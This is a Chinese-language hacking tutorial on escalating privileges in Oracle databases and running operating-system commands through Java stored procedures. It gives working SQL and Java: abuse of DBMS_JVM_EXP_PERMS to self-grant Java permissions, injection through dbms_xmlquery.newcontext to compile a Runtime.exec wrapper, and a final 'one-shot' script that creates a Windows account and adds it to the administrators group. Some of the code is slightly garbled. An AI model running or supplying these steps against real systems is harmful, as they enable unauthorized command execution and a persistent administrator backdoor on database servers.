0x01 提权准备

这里我们先创建一个低权限的用户test

 

SQL> conn sys/admin123@orcl as sysdba;

 

已连接。

SQL> create user test identified by test;

 

 

 

然后查看一下权限

SQL> select * from session_privs;PRIVILEGECREATE SESSION

 

如上显示，test没有JAVA权限，也只有CREATE SESSION权限

 

我们如果要通过数据库执行系统命令，那么首先要提升数据库用户的权限。

 

 

 

我们首先要获取java权限

DECLARE    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;    CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<
     
      >', 'execute', 'ENABLED' FROM DUAL;    BEGIN    OPEN C1;    FETCH C1 BULK COLLECT INTO POL;    CLOSE C1;    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);    END;   /
     

 

 

如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限

DECLARE    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission','writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;    BEGIN    OPEN C1;    FETCH C1 BULK COLLECT INTO POL;    CLOSE C1;    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);    END;   / DECLARE    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission','readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;    BEGIN    OPEN C1;    FETCH C1 BULK COLLECT INTO POL;    CLOSE C1;    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);    END;   /

 

 

0x02 JAVA权限执行命令

 

用我们的test帐号登录

 

 

1、首先我们创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

 

 

 

2、然后我们获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<
     
      >'''',''''EXECUTE'''');end;''commit;end;') from dual;
     

 

 

3、创建我们用来执行命令的函数

select dbms_xmlquery.newcontext('declar e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

 

4、执行命令

select LinxRUNCMD('whoami') from dual;

 

 

0x03 存储过程执行命令

 

若我们有create procedure权限，而不只是create session这么苦逼时，我们可以创建一个java class然后用创建一个过程来进行调用

 

 

1、首先创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as    import java.lang.*;    import java.io.*;    public class JAVACMD    {       public static void execmd(String command) throws IOException       {               Runtime.getRuntime().exec(command);       }   }   /

 

 

 

 

2、创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java     name 'JAVACMD.execmd(java.lang.String)';/

 

 

3、执行我们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

 

 

会报错是因为代码中没有捕获异常，我们再执行一次即可

 

 

 

 

附上一把梭哈

 

 

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" ASimport java.lang.*;import java.io.*;public class JAVACMD{
    public static void execCommand (String command) throws IOException{Runtime.getRuntime().exec(command);}};/CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)AS LANGUAGE JAVANAME 'JAVACMD.execCommand (java.lang.String)';/exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');